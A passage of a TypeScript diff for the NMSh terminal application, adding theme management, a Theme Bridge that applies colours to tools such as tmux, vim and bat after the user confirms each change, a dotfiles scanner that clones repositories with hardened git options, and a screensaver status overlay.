this.effectivePromptProvider}; + state.shellBackend = this.shellId; void refreshTools(state, () => { if (!this.stopped && this.toolsPanel === state) this.render(); }); } + /** /tools → Use as prompt: the one canonical provider setting, then a truthful render (fallback to Native if it fails). */ + private async useToolAsPrompt(state: ToolsPanel, provider: NonNullable): Promise { + const saved = structuredClone(this.promptConfiguration); + this.promptConfiguration.provider = provider; + try { savePromptConfiguration(this.promptConfiguration, undefined, saved); } catch { /* applies to this window */ } + this.starshipStatus = undefined; + await this.refreshProviderPrompt(); + state.prompt = {selected: this.promptConfiguration.provider, effective: this.effectivePromptProvider}; + state.message = this.effectivePromptProvider === provider + ? `${providerLabel(provider)} is now the prompt provider. No shell rc file was changed.` + : `${providerLabel(provider)} could not render (${this.externalPromptError ?? 'unknown error'}); NMSh Native stays active.`; + } + private async handleToolsKey(key: Key, state: ToolsPanel): Promise { if (state.confirm) { await confirmToolInstall(state, key, () => this.renderTaskPresentation()); @@ -3600,12 +3903,43 @@ export class TerminalApp { const project = detectMiseProject(this.shellCwd); this.misePanel = {project, selected: 0, result: this.miseService.cached(project)}; } - else if (action === 'configure' && state.detail?.configuration) await this.startToolConfiguration(state.detail.configuration); + else if (action === 'configure' && state.detail?.configuration) { this.toolsPanel = undefined; await this.openConfigure(state.detail.configuration, '/tools'); } + else if (action === 'usePrompt' && state.detail?.promptProvider) await this.useToolAsPrompt(state, state.detail.promptProvider); + else if (action === 'promptSettings') { this.toolsPanel = undefined; await this.startPromptSettings(false); } + else if (action === 'p10kConfigure') { + // The existing configurator flow: backups of ~/.p10k.zsh and .zshrc, then the official wizard. + this.toolsPanel = undefined; + await this.startPromptSettings(false); + if (this.promptPanelState) { + this.promptPanelState.draft.provider = 'powerlevel10k'; + this.promptPanelState.p10kStatus = this.detectPowerlevel10k(this.promptPanelState.draft); + this.promptPanelState.step = 'p10kConfirm'; + this.promptPanelState.selectedIndex = 0; + } + } else if (action === 'importAppearance') { + const status = await detectOhMyPosh(this.promptConfiguration.ohMyPosh.configPath ?? undefined); + if (!status.configPath) state.message = 'Oh My Posh is using its built-in default config, so there is no local file to import. Choose a config in /prompt, or import a file in /theme → Import.'; + else if (!status.configExists) state.message = `Oh My Posh config not found: ${status.configPath}`; + else { + // The existing Theme Studio import (static colors only); the provider is not switched. + this.toolsPanel = undefined; + this.openThemeStudio('import'); + if (this.themeStudio) { + this.themeStudio.importPath = status.configPath; + const result = readThemeImport(status.configPath, this.shellCwd, 'auto'); + if ('errors' in result) this.themeStudio.message = result.errors.join(' '); + else this.themeStudio.importPreview = result; + } + } + } else if (action === 'openFiles' && state.openPaths?.length === 2) { + await this.performHostAction(this.hostActions().openDiff(state.openPaths[0]!, state.openPaths[1]!), message => { state.message = message; this.render(); }); + } else if (action === 'provider') { const family = state.detail?.providerFamily; if (family === 'welcome' || family === 'history' || family === 'picker' || family === 'navigation') { + // The one provider surface, focused on this family. this.toolsPanel = undefined; - this.startProviderPanel(family); + this.openProvidersOverview(family); } } else if (action === 'refresh') await refreshTools(state, () => this.render()); else if (action === 'checkUpdates') await this.checkToolUpdates(state); @@ -3637,29 +3971,478 @@ export class TerminalApp { } } - private renderThemeStudioRows(state: ThemeStudioState, columns: number): string[] { - const draft: PromptConfiguration = {...this.promptConfiguration, customTheme: state.draft, nmsh: {...this.promptConfiguration.nmsh, palette: 'custom'}}; + private studioContext(): StudioContext { + const config = this.promptConfiguration; + const ref = activeThemeRef(config); + const chroma = config.presentation.preset === 'off' ? 'Off' : `${TREATMENT_PRESET_LABELS[config.presentation.preset]} · ${config.presentation.motion}`; + return {themes: config.themes, accent: config.nmsh.accent, ...(ref ? {activeRef: ref} : {}), pinnedTo: target => targetsPinnedTo(config.themeBridge, target), + chroma, activeName: themeLabel(config.nmsh.palette)}; + } + + private openThemeStudio(tab?: StudioTab): void { + this.themeStudio = createThemeStudio(this.studioContext(), tab); + } + + /** + * The shared theme preview: the real Native renderer over synthetic context + * (project, path, Git, Node/Go/Python/Docker, Kubernetes, success and + * failure), UI text tiers and roles, and a syntax sample. Built-in, + * Imported and Custom themes all preview through this one path. + */ + private themePreviewRows(theme: CustomTheme, palette: NativePaletteId | undefined, columns: number, previewChroma = false): string[] { + const base = this.promptConfiguration; + // Preview Chroma Off (the default) shows the exact theme colors; On uses the saved Chroma. Nothing is persisted either way. + const draft: PromptConfiguration = {...base, provider: 'nmsh', customTheme: theme, nmsh: {...base.nmsh, palette: palette ?? 'custom'}, + presentation: previewChroma ? base.presentation : {...base.presentation, preset: 'off'}}; const width = Math.max(1, columns - 16); - const preview = state.picker || state.importPath !== undefined ? [] : this.withDraftTheme(draft, () => [ - ` ${SECONDARY}${'Preview'.padEnd(12)}${RESET}${buildThemePreviewLine(draft, 'custom', width)}${RESET}`]); - return renderThemeStudio(state, columns, this.dimensions().rows, colorLevel(), preview); + const level = colorLevel(); + const label = (text: string) => ` ${SECONDARY}${text.padEnd(12)}${RESET}`; + const fg = (hex: string) => level === 'none' ? '' : colorEscape(38, parseHexColor(hex)!, level); + const bg = (hex: string) => level === 'none' ? '' : colorEscape(48, parseHexColor(hex)!, level); + const ui = theme.ui; + return this.withDraftTheme(draft, () => { + const showcase = {...draft, modules: draft.modules.map(module => ({...module, visible: true}))}; + return [ + `${label('Prompt')}${buildThemePreviewLine(draft, draft.nmsh.palette, width)}${RESET}`, + `${label('Context')}${buildContextLine(moduleShowcaseContext(), width, showcase, 'composer', 0)}${RESET}`, + truncateAnsi(`${label('Interface')}${fg(ui.primary)}Primary ${fg(ui.secondary)}Secondary ${fg(ui.subtle)}Muted ${fg(ui.accent)}● Accent ${fg(ui.separator)}│ ${RESET}${bg(ui.selection)}${fg(ui.primary)} Selected ${RESET}`, columns), + truncateAnsi(`${label('Status')}${fg(ui.success)}${GLYPHS.success} done ${fg(ui.warning)}! warning ${fg(ui.failure)}${GLYPHS.failure} failed ${fg(ui.info)}i info${RESET}`, columns), + `${label('Syntax')}${renderSyntaxPreviewLine('git commit -m "fix" && npm test', draft.syntax, draft.nmsh.palette)}${RESET}`, + ]; + }); + } + + private renderThemeStudioRows(state: ThemeStudioState, columns: number): string[] { + const context = this.studioContext(); + const shown = previewTheme(state, context); + const rows = this.dimensions().rows; + const preview = !shown || state.editor?.picker || rows < 24 ? [] : this.themePreviewRows(shown.theme, shown.palette, columns, state.previewChroma); + return renderThemeStudio(state, context, columns, rows, colorLevel(), preview); } private handleThemeStudioKey(key: Key, state: ThemeStudioState): void { - const result = studioKey(state, key, colorLevel(), this.shellCwd); - if (!result) return; - if (result.kind === 'cancel') { this.themeStudio = undefined; this.returnFromPanel(); return; } - if (result.kind === 'export') { - try { state.message = `Exported to ${writeThemeExport(state.draft)}`; } + const action = studioKey(state, key, colorLevel(), this.shellCwd, this.studioContext()); + if (!action) return; + if (action.kind === 'close') { this.themeStudio = undefined; this.returnFromPanel(); return; } + const config = this.promptConfiguration; + if (action.kind === 'export') { + const asset = findTheme(config.themes, action.id); + if (!asset) { state.message = 'That theme no longer exists.'; return; } + try { state.message = `Exported to ${writeThemeExport(asset.theme)}`; } catch (error) { state.message = `Export failed: ${error instanceof Error ? error.message : String(error)}`; } return; } - const next = {...this.promptConfiguration, customTheme: result.theme, nmsh: {...this.promptConfiguration.nmsh, palette: 'custom' as const}}; - if (this.applySettingsConfiguration(next)) { - this.themeStudio = undefined; - this.output.addFrontendInteraction('/theme', `Custom theme ${result.theme.name} is active. Your terminal and editor colors are unchanged.`, SUCCESS); - this.startSweep('prompt', 'vivid'); + const result: ActionResult = action.kind === 'activate' ? setActiveTheme(config, action.ref) + : action.kind === 'saveTheme' ? (action.id ? saveTheme(config, action.id, action.theme) : addTheme(config, action.theme)) + : action.kind === 'importTheme' ? addTheme(config, action.theme, action.origin) + : action.kind === 'rename' ? renameTheme(config, action.id, action.name) + : action.kind === 'duplicate' ? duplicateTheme(config, action.id) + : action.kind === 'duplicateBuiltin' ? duplicateBuiltin(config, action.ref) + : action.kind === 'duplicateCurrent' ? duplicateCurrentToCustom(config) + : deleteTheme(config, action.id, action.confirmIndependent); + if (!result.ok) { state.message = result.error; return; } + if (!this.applySettingsConfiguration(result.config)) return; + state.message = result.message; + // New and imported themes land on their tab, selected, ready to use or edit. + if (result.id && (action.kind === 'importTheme' || action.kind === 'saveTheme' || action.kind.startsWith('duplicate'))) { + const asset = findTheme(result.config.themes, result.id); + if (asset) { + const tab = asset.origin ? 'imported' : 'custom'; + state.tab = tab; + state.focus = 'list'; + state.selected[tab] = result.config.themes.filter(item => Boolean(item.origin) === Boolean(asset.origin)).findIndex(item => item.id === asset.id) + (tab === 'custom' ? 2 : 0); + } + } + if (action.kind === 'activate') this.startSweep('prompt', 'vivid'); + } + + // ---- Theme Bridge ----------------------------------------------------------- + + private bridgeFacts?: Record; + private bridgeTimer?: NodeJS.Timeout; + private bridgeRun?: Promise; + /** The last Theme Bridge application problems, shown by /theme-bridge. */ + private bridgeProblems: ApplyOutcome[] = []; + + private async themeBridgeContext(): Promise { + this.bridgeFacts ??= await detectTargets(); + const config = this.promptConfiguration; + return {source: config, facts: this.bridgeFacts, level: colorLevel()}; + } + + /** + * Debounced application of the current Theme Bridge state. With every + * target Independent and nothing generated before, nothing is written at all. + */ + private scheduleThemeBridge(delay = 150): void { + if (this.bridgeTimer) clearTimeout(this.bridgeTimer); + this.bridgeTimer = setTimeout(() => { + this.bridgeTimer = undefined; + if (this.stopped) return; + const config = this.promptConfiguration; + if (!anyBridgeTargetActive(config.themeBridge) && !bridgeStateExists()) return; + this.bridgeRun = this.themeBridgeContext().then(applyThemeBridge).then(outcomes => { + this.bridgeProblems = outcomes.filter(outcome => !outcome.ok); + if (this.themeBridgePanel) this.render(); + return outcomes; + }).catch(error => { + this.bridgeProblems = [{target: 'pager', ok: false, message: error instanceof Error ? error.message : String(error)}]; + return this.bridgeProblems; + }); + }, delay); + this.bridgeTimer.unref?.(); + } + + /** OSC 7 / OSC 133 for capable hosts, held while a fullscreen program owns the terminal. */ + private readonly hostSemantics = new HostSemantics(semanticSupport(), data => { process.stdout.write(data); }, + () => this.presentationStarted && !this.stopped && !this.passthrough && !this.externalPassthrough && !this.frontendSuspended); + private themeBridgePanel?: ThemeBridgePanelState; + private bridgeReports: TargetReport[] = []; + /** A plan shown for confirmation, kept with what it came from; confirming applies exactly this plan. */ + private bridgePlan?: {target: BridgeTargetId; plan?: FileEditPlan; spec?: HookSpec; removal: boolean}; + /** bat setup awaiting confirmation: the source theme reference (possibly a fresh Custom duplicate). */ + private bridgeBatPlan?: {ref: string}; + /** Apply all: the reviewed include plans by target. */ + private bridgeReviewPlans = new Map(); + + private async openThemeBridge(): Promise { + this.themeBridgePanel = createThemeBridgePanel(); + await this.refreshBridgeReports(); + this.render(); + } + + private async refreshBridgeReports(): Promise { + this.bridgeFacts ??= await detectTargets(); + this.bridgeReports = reportTargets(await this.themeBridgeContext()); + } + + private themeBridgePanelContext(): BridgePanelContext { + const config = this.promptConfiguration; + const ledger = loadLedger(); + const active = activeThemeRef(config); + const bridge = config.themeBridge; + return {enabled: bridge.enabled, policy: bridge.policy, ...(bridge.theme ? {globalTheme: bridge.theme, globalThemeLabel: themeRefLabel(bridge.theme, config)} : {}), + reports: this.bridgeReports, themes: selectableThemes(config), pinned: target => bridge.targets[target].theme, + ...(active ? {activeRef: active, activeLabel: themeRefLabel(active, config)} : {}), + managed: target => target === 'tmux' || target === 'neovim' || target === 'vim' || target === 'helix' || target === 'bat' + ? {...(ledger.entries[target] && ownership(target, ledger) === 'owned' ? {artifact: artifactPath(target)} : {}), ...(target !== 'bat' && recordedHook(target as HookTarget) ? {include: recordedHook(target as HookTarget)!.configPath} : {})} + : undefined}; + } + + /** Save a Theme Bridge settings change and apply it at once (not debounced) so the panel status is factual. */ + private async saveBridge(change: (bridge: PromptConfiguration['themeBridge']) => void): Promise { + const config = structuredClone(this.promptConfiguration); + change(config.themeBridge); + if (!this.applySettingsConfiguration(config)) return false; + if (this.bridgeTimer) { clearTimeout(this.bridgeTimer); this.bridgeTimer = undefined; } + this.bridgeProblems = (await applyThemeBridge(await this.themeBridgeContext())).filter(outcome => !outcome.ok); + return true; + } + + private async handleThemeBridgeKey(key: Key, state: ThemeBridgePanelState): Promise { + const action = themeBridgePanelKey(state, key, this.themeBridgePanelContext()); + if (!action) { this.render(); return; } + await this.handleThemeBridgeAction(action, state); + } + + private async handleThemeBridgeAction(action: BridgePanelAction, state: ThemeBridgePanelState): Promise { + if (action.kind === 'close') { this.themeBridgePanel = undefined; this.bridgePlan = undefined; this.bridgeBatPlan = undefined; this.returnFromPanel(); this.render(); return; } + const home = process.env.HOME || homedir(); + const problem = (target: BridgeTargetId) => this.bridgeProblems.find(outcome => outcome.target === target)?.message; + if (action.kind === 'setEnabled') { + if (await this.saveBridge(bridge => { bridge.enabled = action.enabled; })) { + state.message = action.enabled ? 'Theme Bridge is On.' : 'Theme Bridge is Off; every tool is Independent and NMSh-set values are restored at the next prompt.'; + } + } else if (action.kind === 'setPolicy') { + // The per-target Manual settings are never rewritten by a global policy. + if (await this.saveBridge(bridge => { bridge.policy = action.policy; if (action.theme) bridge.theme = action.theme; })) { + state.message = `Apply themes · ${BRIDGE_POLICY_LABELS[action.policy]}${action.policy === 'manual' ? ' · each tool\'s own setting is back' : ''}`; + } + } else if (action.kind === 'setGlobalTheme') { + if (await this.saveBridge(bridge => { bridge.theme = action.theme; })) state.message = `Every supported tool uses ${themeRefLabel(action.theme, this.promptConfiguration)}.`; + } else if (action.kind === 'setMode') { + if (await this.saveBridge(bridge => { + const theme = action.theme ?? bridge.targets[action.target].theme; + bridge.targets[action.target] = {mode: action.mode, ...(theme ? {theme} : {})}; + // Choosing a mode for a tool is the opt-in; Independent leaves the switch as it is. + if (action.mode !== 'independent') bridge.enabled = true; + })) { + state.message = problem(action.target) ?? `${BRIDGE_TARGET_LABELS[action.target]} · ${BRIDGE_MODE_LABELS[action.mode]}${action.target === 'pager' || action.target === 'lsColors' ? ' · NMSh shells apply it at their next prompt' : ''}`; + } + } else if (action.kind === 'reloadTmux') { + state.message = (await reloadTmux()).message; + } else if (action.kind === 'planHook') { + const target = action.target as HookTarget; + const spec = hookSpec(target); + if ('error' in spec) state.message = spec.error; + else { + const planned = planHook(spec, home); + if ('error' in planned) state.message = planned.error; + else if ('noop' in planned) state.message = 'The include is already in place.'; + else { + this.bridgePlan = {target, plan: planned.plan, spec, removal: false}; + state.confirm = {kind: 'hook', target, path: spec.configPath, preview: planned.plan.preview}; + } + } + } else if (action.kind === 'planRemoval') { + const target = action.target as HookTarget | 'bat'; + const hook = target === 'bat' ? undefined : recordedHook(target as HookTarget); + if (!hook) { + this.bridgePlan = {target, removal: true}; + state.confirm = {kind: 'removeSetup', target, path: artifactPath(target), preview: [`- ${artifactPath(target)} (NMSh-managed file; no config include is recorded)`]}; + } else { + const planned = planHookRemoval(target as HookTarget, home); + if ('error' in planned) state.message = planned.error; + else { + this.bridgePlan = {target, ...('plan' in planned ? {plan: planned.plan} : {}), removal: true}; + state.confirm = {kind: 'removeSetup', target, path: hook.configPath, preview: ['plan' in planned ? planned.plan.preview : [' (the include is already gone from the file)'], [`- ${artifactPath(target)}`]].flat()}; + } + } + } else if (action.kind === 'confirmHook' || action.kind === 'confirmRemoval') { + const pending = this.bridgePlan; + this.bridgePlan = undefined; + if (!pending || pending.target !== action.target) state.message = 'Nothing was changed.'; + else if (!pending.removal && pending.plan && pending.spec) { + const result = applyHook(pending.target as HookTarget, pending.plan, pending.spec); + state.message = result.ok ? `Added the include to ${pending.spec.configPath}. New ${BRIDGE_TARGET_LABELS[pending.target]} instances load NMSh colors; later theme changes update automatically${pending.target === 'tmux' ? ' (Reload applies them to the running server)' : ''}.` : result.error; + } else if (pending.removal) { + // Remove managed setup: NMSh's file and include only. The tool's mode is not changed behind the user's back. + const removed = pending.target === 'bat' ? {ok: true as const} : applyHookRemoval(pending.target as HookTarget, pending.plan); + if (!removed.ok) state.message = removed.error; + else { + const artifact = removeArtifact(pending.target as ManagedTarget); + state.message = artifact.ok ? `${BRIDGE_TARGET_LABELS[pending.target]}: NMSh's managed setup is removed${bridgeMode(this.promptConfiguration.themeBridge, pending.target) !== 'independent' ? '; it reports Needs setup until set up again' : ''}.` : artifact.error; + if (artifact.ok && pending.target !== 'bat') { + // A target that is still active would regenerate its file at once; only Independent targets stay clean. + if (bridgeMode(this.promptConfiguration.themeBridge, pending.target) !== 'independent') this.bridgeProblems = (await applyThemeBridge(await this.themeBridgeContext())).filter(outcome => !outcome.ok); + } + } + } + } else if (action.kind === 'planBat') { + const reports = this.bridgeReports.find(report => report.target === 'bat'); + let ref = targetPalette(this.promptConfiguration.themeBridge, 'bat', this.promptConfiguration).ref ?? activeThemeRef(this.promptConfiguration); + if (action.source === 'duplicate' && ref) { + // An ordinary Custom copy of the source theme, editable in Theme Studio; bat then pins it (Manual). + const copy = duplicateRefToCustom(this.promptConfiguration, ref); + if (!copy.ok) { state.message = copy.error; this.render(); return; } + const newRef = assetRef(copy.id!); + const config = copy.config; + config.themeBridge = {...config.themeBridge, policy: config.themeBridge.policy, targets: {...config.themeBridge.targets, bat: {mode: 'choose', theme: newRef}}}; + if (!this.applySettingsConfiguration(config)) { this.render(); return; } + ref = newRef; + state.message = `Created ${themeRefLabel(newRef, this.promptConfiguration)} (Custom). Edit it in /theme; bat ${this.promptConfiguration.themeBridge.policy === 'manual' ? 'is pinned to it' : 'uses it when Apply themes is Manual'}.`; + } + if (!ref) { state.message = 'No theme to create the bat theme from.'; this.render(); return; } + this.bridgeBatPlan = {ref}; + void reports; + state.confirm = {kind: 'batCache', target: 'bat', path: artifactPath('bat'), preview: [`+ ${artifactPath('bat')} (from ${themeRefLabel(ref, this.promptConfiguration)})`, '+ bat cache --build', ' bat --list-themes must then include nmsh-bridge; only then is BAT_THEME set in NMSh shells']}; + } else if (action.kind === 'confirmBat') { + const pending = this.bridgeBatPlan; + this.bridgeBatPlan = undefined; + const resolved = pending ? resolveSemanticPalette(pending.ref, this.promptConfiguration) : undefined; + if (!resolved?.ok) state.message = 'Nothing was changed.'; + else { + const result = await setupBat(resolved.palette, bridgeMode(this.promptConfiguration.themeBridge, 'bat'), pending!.ref); + state.message = result.message; + this.bridgeProblems = (await applyThemeBridge(await this.themeBridgeContext())).filter(outcome => !outcome.ok); + } + } else if (action.kind === 'reviewAll') { + const items = integrationHealth(await this.themeBridgeContext()); + const previews: Record = {}; + this.bridgeReviewPlans.clear(); + for (const item of items) { + if (item.action !== 'include') continue; + const spec = hookSpec(item.target as HookTarget); + if ('error' in spec) { item.action = undefined; item.state = 'conflict'; item.detail = spec.error; continue; } + const planned = planHook(spec, home); + if ('plan' in planned) { this.bridgeReviewPlans.set(item.target, {plan: planned.plan, spec}); previews[item.target] = [`${spec.configPath}`, ...planned.plan.preview.filter(line => line.startsWith('+'))]; } + else { item.action = undefined; item.detail = 'error' in planned ? planned.error : 'Already in place'; item.state = 'error' in planned ? 'conflict' : 'ready'; } + } + for (const item of items) if (item.action === 'cache') previews[item.target] = [`+ ${artifactPath('bat')}`, '+ bat cache --build (then verified with bat --list-themes)']; + state.review = {items, previews, yes: false}; + } else if (action.kind === 'applyAll') { + const results: string[] = []; + const context = await this.themeBridgeContext(); + for (const item of integrationHealth(context)) { + if (item.action === 'generate') { const outcomes = await applyThemeBridge(context); results.push(`${item.label}: ${outcomes.find(outcome => outcome.target === item.target)?.message ?? 'generated'}`); } + else if (item.action === 'include') { + const reviewed = this.bridgeReviewPlans.get(item.target); + if (!reviewed) { results.push(`${item.label}: skipped (not in the reviewed plan)`); continue; } + const result = applyHook(item.target as HookTarget, reviewed.plan, reviewed.spec); + results.push(`${item.label}: ${result.ok ? 'include added' : result.error}`); + } else if (item.action === 'cache') { + const palette = targetPalette(this.promptConfiguration.themeBridge, 'bat', this.promptConfiguration); + const result = palette.palette ? await setupBat(palette.palette, bridgeMode(this.promptConfiguration.themeBridge, 'bat'), palette.ref ?? '') : {ok: false, message: 'no theme'}; + results.push(`${item.label}: ${result.ok ? 'ready' : result.message}`); + } + } + this.bridgeReviewPlans.clear(); + this.bridgeProblems = (await applyThemeBridge(await this.themeBridgeContext())).filter(outcome => !outcome.ok); + state.message = results.length ? results.join(' · ') : 'Nothing needed changing.'; + } + await this.refreshBridgeReports(); + this.render(); + } + + /** + * Picker orientation follows the composer: Bottom puts the query at the + * bottom with results above (best match nearest the input), Top puts the + * query at the top with results below. Flow keeps results below its input, + * so it reads like Top; fullscreen external pickers use the bottom layout for Flow. + */ + private pickerFromBottom(): boolean { + return this.promptConfiguration.composerPosition === 'bottom'; + } + + private orientPicker(rows: string[]): string[] { + return (this.historySearchActive || this.directorySearchActive) && this.pickerFromBottom() ? [...rows].reverse() : rows; + } + + /** fzf layout for NMSh-owned launches: query at the bottom (fzf's default) unless the composer docks at the top. */ + private fzfLayout(): 'default' | 'reverse' { + return this.promptConfiguration.composerPosition === 'top' ? 'reverse' : 'default'; + } + + // ---- Status strip, /configure, /tmux, /integrations ------------------------------- + + private rowPanel?: RowPanelState; + private configureList?: ConfigureListState; + private tmuxPanel?: TmuxPanelState; + /** The include plan shown in the tmux review, applied exactly if confirmed. */ + private tmuxIncludePlan?: {plan: FileEditPlan; spec: HookSpec}; + + /** /strip and /status-strip: the canonical Status strip rows, with a live strip preview. */ + private openStatusStrip(): void { + this.rowPanel = createRowPanel('Status strip', 'compact NMSh status row, top right · same settings as Config', ['statusStrip', 'stripClock', 'stripBattery', 'stripCpu', 'stripRam', 'stripRamDisplay', 'stripUptime']); + } + + /** /configure [tool] and /tmux: the registered adapter's editor, or a factual answer. */ + private async openConfigure(tool: string | undefined, command: string): Promise { + if (!tool) { this.configureList = {selected: 0}; this.render(); return; } + const entry = toolConfigEntry(tool); + if (!entry) { this.output.addFrontendInteraction(command, `NMSh has no managed configuration adapter for ${tool}. /configure lists the tools it can configure.`, INFO); this.render(); return; } + if (entry.id === 'starship') { void this.startToolConfiguration('starship'); return; } + if (entry.id === 'tmux') { + const user = readUserTmuxConfig(); + this.bridgeFacts ??= await detectTargets(); + const report = reportTargets(await this.themeBridgeContext()).find(item => item.target === 'tmux'); + this.tmuxPanel = createTmuxPanel(loadTmuxModel(), user ? {path: user.path, parsed: parseTmuxConfig(user.text)} : undefined, + report ? `${BRIDGE_MODE_LABELS[report.mode]}${report.themeLabel && report.mode !== 'independent' ? ` · ${report.themeLabel}` : ''}` : 'Independent', Boolean(this.bridgeFacts.tmux?.installed)); + this.render(); + return; } + if (entry.ownership === 'theme-bridge') { await this.openThemeBridge(); return; } + this.output.addFrontendInteraction(command, `${entry.label}: ${entry.summary}.`, INFO); + this.render(); + } + + /** /integrations: the shared Theme Bridge planner, opened straight on Review all. */ + private async openIntegrations(): Promise { + await this.openThemeBridge(); + if (this.themeBridgePanel) await this.handleThemeBridgeAction({kind: 'reviewAll'}, this.themeBridgePanel); + } + + private dotfiles?: DotfilesState; + private dotfilesInclude?: {plan: FileEditPlan; spec: HookSpec}; + + /** /dotfiles actions: scanning reads data only; cloning needs the confirmed step; applying goes through the adapters. */ + private async handleDotfilesAction(action: DotfilesAction, state: DotfilesState): Promise { + if (action.kind === 'close') { this.dotfiles = undefined; this.dotfilesInclude = undefined; this.returnFromPanel(); return; } + if (action.kind === 'scan') { + if (isRemoteSource(action.source)) { + const slug = action.source.replace(/^.*[/:]/u, '').replace(/\.git$/u, '').replace(/[^A-Za-z0-9._-]/gu, '-').slice(0, 60) || 'repository'; + state.clone = {url: action.source, target: join(nmshConfigDirectory(), 'dotfiles-inspect', `${slug}-${Date.now()}`), yes: false}; + state.step = 'clone'; + return; + } + const root = expandSource(action.source, this.shellCwd); + const scan = scanDotfiles(root); + if ('error' in scan) { state.message = scan.error; state.step = 'source'; return; } + state.scan = scan; + state.items = buildPlan(scan); + state.selected = 0; + state.step = 'items'; + return; + } + if (action.kind === 'clone' && state.clone) { + const git = resolveCommand('git', process.env.PATH ?? ''); + if (!git) { state.message = 'git is not installed.'; state.step = 'source'; return; } + state.message = 'Cloning…'; + this.render(); + const env = {...process.env, GIT_TERMINAL_PROMPT: '0', GIT_CONFIG_NOSYSTEM: '1'}; + const result = await runExternal(git, ['clone', '--depth', '1', '--no-recurse-submodules', '-c', 'core.hooksPath=/dev/null', '-c', 'protocol.file.allow=never', '--', state.clone.url, state.clone.target], + {timeoutMs: 120_000, maxBytes: 64 * 1024, env}); + if (!result.ok) { state.message = 'The clone failed; nothing else was done.'; state.step = 'source'; state.clone = undefined; return; } + const target = state.clone.target; + state.clone = undefined; + await this.handleDotfilesAction({kind: 'scan', source: target}, state); + return; + } + if (action.kind === 'review') { + this.dotfilesInclude = undefined; + const include: string[] = []; + if (state.items.some(item => item.mode === 'import' && item.fields?.some(field => field.use)) && !recordedHook('tmux')) { + const spec = hookSpec('tmux'); + if (!('error' in spec)) { + const planned = planHook(spec, process.env.HOME || homedir()); + if ('plan' in planned) { this.dotfilesInclude = {plan: planned.plan, spec}; include.push(spec.configPath, ...planned.plan.preview.filter(line => line.startsWith('+'))); } + } + } + state.review = {lines: reviewLines(state.items, include), yes: false}; + state.step = 'review'; + return; + } + if (action.kind === 'apply') { + const results = applyDotfilesPlan(state.items); + if (this.dotfilesInclude) { + const included = applyHook('tmux', this.dotfilesInclude.plan, this.dotfilesInclude.spec); + results.push(`tmux.conf: ${included.ok ? 'one include added' : included.error}`); + this.dotfilesInclude = undefined; + } + state.results = results.length ? results : ['Nothing was selected, so nothing changed.']; + state.step = 'result'; + } + } + + private async handleTmuxKey(key: Key, state: TmuxPanelState): Promise { + const action = tmuxPanelKey(state, key); + if (action?.kind === 'close') { this.tmuxPanel = undefined; this.tmuxIncludePlan = undefined; this.returnFromPanel(); } + else if (action?.kind === 'openPrompt') { this.tmuxPanel = undefined; void this.startPromptSettings(false); } + else if (action?.kind === 'openBridge') { this.tmuxPanel = undefined; await this.openThemeBridge(); } + else if (action?.kind === 'reload') state.message = (await reloadTmux()).message; + else if (action?.kind === 'review') { + const include: string[] = []; + this.tmuxIncludePlan = undefined; + if (!recordedHook('tmux')) { + const spec = hookSpec('tmux'); + if ('error' in spec) include.push(` ${spec.error}`); + else { + const planned = planHook(spec, process.env.HOME || homedir()); + if ('plan' in planned) { this.tmuxIncludePlan = {plan: planned.plan, spec}; include.push(spec.configPath, ...planned.plan.preview); } + } + } + state.review = {lines: pendingChanges(state).map(describeTmuxChange), include, yes: false}; + } else if (action?.kind === 'apply') { + try { + saveTmuxModel(state.draft); + const written = writeTmuxManaged(state.draft); + if (!written.ok) state.message = written.error; + else { + const included = this.tmuxIncludePlan ? applyHook('tmux', this.tmuxIncludePlan.plan, this.tmuxIncludePlan.spec) : {ok: true as const}; + this.tmuxIncludePlan = undefined; + state.saved = structuredClone(state.draft); + state.message = included.ok ? 'Saved to NMSh\'s managed tmux file. New tmux servers load it; R reloads a running server now.' : included.error; + } + } catch (error) { state.message = `Nothing was applied: ${error instanceof Error ? error.message : String(error)}`; } + } + this.render(); + } + + /** fzf `--color` for an NMSh-owned launch; empty unless fzf is the picker and its bridge mode is active. */ + private async fzfThemeArgs(): Promise { + const config = this.promptConfiguration; + if (config.picker !== 'fzf' || config.themeBridge.targets.fzf.mode === 'independent') return []; + return fzfBridgeArgs(await this.themeBridgeContext()); } // ---- Idle visuals --------------------------------------------------------------- @@ -3774,10 +4557,21 @@ export class TerminalApp { const time = idle.still ? 20_000 : sceneTime(now - idle.startedAt, idle.frame, idle.mode); const frame = idleFrameRows(this.idleGrid, {mode: idle.mode, width: columns, height: rows, time: Math.max(0, time - idle.offset), palette: idlePaletteFor(this.promptConfiguration), level: colorLevel(), nerd: getCurrentGlyphMode() === 'nerd', ...(idle.capture ? {capture: idle.capture} : {})}); - try { this.renderer.render({rows: frame, columns, cursorRow: 1, cursorColumn: 1, cursorVisible: false}); } + const shown = this.saverAwake(frame, columns, now); + try { this.renderer.render({rows: shown, columns, cursorRow: 1, cursorColumn: 1, cursorVisible: false}); } catch (error) { this.onTerminate(); throw error; } } + /** The screensaver's positioned Keep Awake status: a small separate element; the saver and mascot are untouched. */ + private saverAwake(frame: string[], columns: number, now: number): string[] { + const record = this.awakeRecord; + const settings = this.promptConfiguration.keepAwake; + if (!record || !settings.screensaver) return frame; + const text = `${awakeLabel(record, settings.display, 'full')} · ${awakeDuration(record, now)}`; + return placeOnSaver(frame, columns, {ansi: `${awakeStyle.active()}${text}${awakeStyle.reset}`, width: displayWidth(text)}, settings.screensaverPosition, + (row, column, ansi, width) => `${sliceAnsiCells(row, 0, column)}${RESET}${' '.repeat(Math.max(0, column - Math.min(column, displayWidth(stripAnsi(sliceAnsiCells(row, 0, column))))))}${ansi}${sliceAnsiCells(row, column + width, columns)}${RESET}`); + } + private stopIdleFrames(): void { this.idleSubscription?.(); this.idleSubscription = undefined; } @@ -3815,7 +4609,12 @@ export class TerminalApp { * shown; nothing ever changes the real terminal cursor. */ private setupPreview(state: SetupState, columns: number): string[] { - const draft = state.draft; + const section0 = SETUP_SECTIONS[state.section]?.id; + // Prompt/Appearance previews show the base theme unless the local preview switch asks for the draft's Chroma. + const rawPreview = (section0 === 'appearance' || section0 === 'prompt') && !state.previewChroma; + const draft = rawPreview ? {...state.draft, presentation: {...state.draft.presentation, preset: 'off' as const}} : state.draft; + const chromaNote = section0 === 'appearance' || section0 === 'prompt' + ? [` ${SUBTLE}Preview Chroma ${state.previewChroma ? 'On' : 'Off'} · Chroma setting ${state.draft.presentation.preset === 'off' ? 'Off' : TREATMENT_PRESET_LABELS[state.draft.presentation.preset]} · P toggles the preview only${RESET}`] : []; const section = SETUP_SECTIONS[state.section]?.id; const width = Math.max(10, columns - 4); const label = (text: string) => ` 